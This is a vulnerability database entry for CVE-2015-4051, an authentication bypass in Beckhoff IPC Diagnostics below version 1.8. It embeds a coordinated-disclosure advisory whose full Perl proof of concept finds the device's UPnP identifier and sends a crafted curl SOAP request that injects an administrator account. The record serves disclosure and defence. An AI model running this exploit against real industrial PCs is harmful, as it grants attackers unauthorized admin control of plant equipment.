ID

VAR-E-201506-0209


CVE

cve_id:CVE-2015-4051

Trust: 1.3

sources: BID: 75042 // PACKETSTORM: 132168 // PACKETSTORM: 134071

TITLE

Beckhoff IPC Diagnositcs Authentication Bypass

Trust: 0.5

sources: PACKETSTORM: 132168

DESCRIPTION

Beckhoff IPC Diagnostics versions prior to 1.8 suffer from an authentication bypass vulnerability.

Trust: 0.5

sources: PACKETSTORM: 132168

AFFECTED PRODUCTS

vendor:beckhoffmodel:ipc diagnositcs authenticationscope: - version: -

Trust: 0.5

vendor:beckoffmodel:cx9020 cpu modelscope: - version: -

Trust: 0.5

vendor:beckhoffmodel:ipc diagnosticsscope:eqversion:0

Trust: 0.3

vendor:beckhoffmodel:ipc diagnosticsscope:neversion:1.8.1.0

Trust: 0.3

sources: BID: 75042 // PACKETSTORM: 132168 // PACKETSTORM: 134071

EXPLOIT

Beckhoff IPC diagnostics < 1.8 : Authentication bypass
======================================================

CVE number: CVE-2015-4051
Permalink: http://www.thesecurityfactory.be/permalink/beckhoff-authentication-bypass.html
Vendor advisory: http://ftp.beckhoff.com/download/document/IndustPC/Advisory-2015-001.pdf

-- Info --

Beckhoff IPC diagnostics is support software that is preinstalled on all Beckhoff Industrial PC\xeds (and PLC\xeds) that are running an embedded Microsoft Windows operating system. The software enables various system diagnostics options, as well the possibility to alter various settings.

-- Affected version --

IPC Diagnostics < Version 1.8

-- Vulnerability details --

Due to a lack of authentication when making a call to /upnpisapi, an unauthenticated attacker is able to perform a variety of actions on the system by sending a specially crafted packet. These actions include rebooting the device or injecting a new user that has admin access rights on both the underlaying embedded Windows and webserver. Further access can be obtained on the system by connecting to SMB / FTP / telnet / \xd6 using the injected user.

-- PoC --

#!/usr/bin/perl
use IO::Socket::INET;
use strict;
use warnings;
if ($#ARGV < 0) { print "Usage: $0 ip\n"; exit(-1); }
system("clear");
print "Connecting to UPNP\n";
my $upnp_req = "M-SEARCH * HTTP/1.1\r\n" .
"Host:239.255.255.250:1900\r\n" .
"ST:upnp:rootdevice\r\n" .
"Man:\"ssdp:discover\"\r\n" .
"MX:3\r\n" .
"\r\n";
my $ip = $ARGV[0];
my $socket = new IO::Socket::INET ( PeerAddr => "$ip:1900", Proto => 'udp') or die "ERROR in Socket Creation : $!\n";
$socket->send($upnp_req);
my $usn;
while (1)
{
my $data = <$socket>;
print "$data";
# Get the USN
if ($data =~ /^USN:/) {
print "\nUSN seen. Trying to get it\n";
($usn) = $data =~ /^USN:uuid:(.*)::upnp:rootdevice/;
last;
}
}
print "\n\nUSN found: $usn\n\n";
print "Creating curl command\n\n";
my $curl_command = "curl -i -s -k -X 'POST' " .
" -H 'SOAPAction: urn:beckhoff.com:service:cxconfig:1#Write' -H 'Content-Type: text/xml; charset=utf-8' " .
" --data-binary \$'00-1340079872KAAAAAYAAAAAAAAAEgAAAEluamVjdHRoZVNlY3VyaXR5RmFjdG9yeQAA' " .
" 'http://" . $ip . ":5120/upnpisapi?uuid:" . $usn . "+urn:beckhoff.com:serviceId:cxconfig'";
print "Executing Curl command\n\n";
system($curl_command);
print "User: Inject, Password: theSecurityFactory should be injected";

-- Solution --

This issue has been fixed as of version 1.8.1.0

-- Timeline --

2015-27-01 Vulnerability discovery and creation of PoC
2015-28-01 Vulnerability responsibly reported to vendor
2015-13-02 Second disclosure to vendor
2015-13-02 Vendor response and acknowledgement of vulnerability
2015-15-04 - 2015-15-05 Various communications
2015-21-05 Vendor update and advisory release
2015-04-06 Advisory published in coordination with vendor

-- Credits --

Frank Lycops
Frank.lycops [at] thesecurityfactory.be

Trust: 0.5

sources: PACKETSTORM: 132168

EXPLOIT HASH

LOCAL

SOURCE

md5: ef5b851488f6a5bcd6536c5bb6b6bd0d
sha-1: 19fcab723dab31085345769dca609ed2c3eadb41
sha-256: c1258402de5e381e4a2cdccec967d1187990dd16ecfa6f773fdbc2ff8b3e5e29
md5: ef5b851488f6a5bcd6536c5bb6b6bd0d

Trust: 0.5

sources: PACKETSTORM: 132168

PRICE

free

Trust: 0.5

sources: PACKETSTORM: 132168

TYPE

bypass

Trust: 0.5

sources: PACKETSTORM: 132168

TAGS

tag:exploit

Trust: 1.0

tag:bypass

Trust: 0.5

tag:web

Trust: 0.5

tag:proof of concept

Trust: 0.5

sources: PACKETSTORM: 132168 // PACKETSTORM: 134071

CREDITS

Frank Lycops

Trust: 0.5

sources: PACKETSTORM: 132168

EXTERNAL IDS

db:NVDid:CVE-2015-4051

Trust: 1.3

db:PACKETSTORMid:132168

Trust: 0.5

db:PACKETSTORMid:134071

Trust: 0.5

db:BIDid:75042

Trust: 0.3

sources: BID: 75042 // PACKETSTORM: 132168 // PACKETSTORM: 134071

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2015-4051

Trust: 1.0

url:http://ftp.beckhoff.com/download/document/industpc/advisory-2015-001.pdf

Trust: 0.3

url:http://www.thesecurityfactory.be/permalink/beckhoff-authentication-bypass.html

Trust: 0.3

url:http://beckhoff.com/

Trust: 0.3

sources: BID: 75042 // PACKETSTORM: 132168 // PACKETSTORM: 134071

SOURCES

db:BIDid:75042
db:PACKETSTORMid:132168
db:PACKETSTORMid:134071

LAST UPDATE DATE

2022-07-27T09:18:41.794000+00:00


SOURCES UPDATE DATE

db:BIDid:75042date:2015-06-05T00:00:00

SOURCES RELEASE DATE

db:BIDid:75042date:2015-06-05T00:00:00
db:PACKETSTORMid:132168date:2015-06-05T14:02:22
db:PACKETSTORMid:134071date:2015-10-23T14:44:44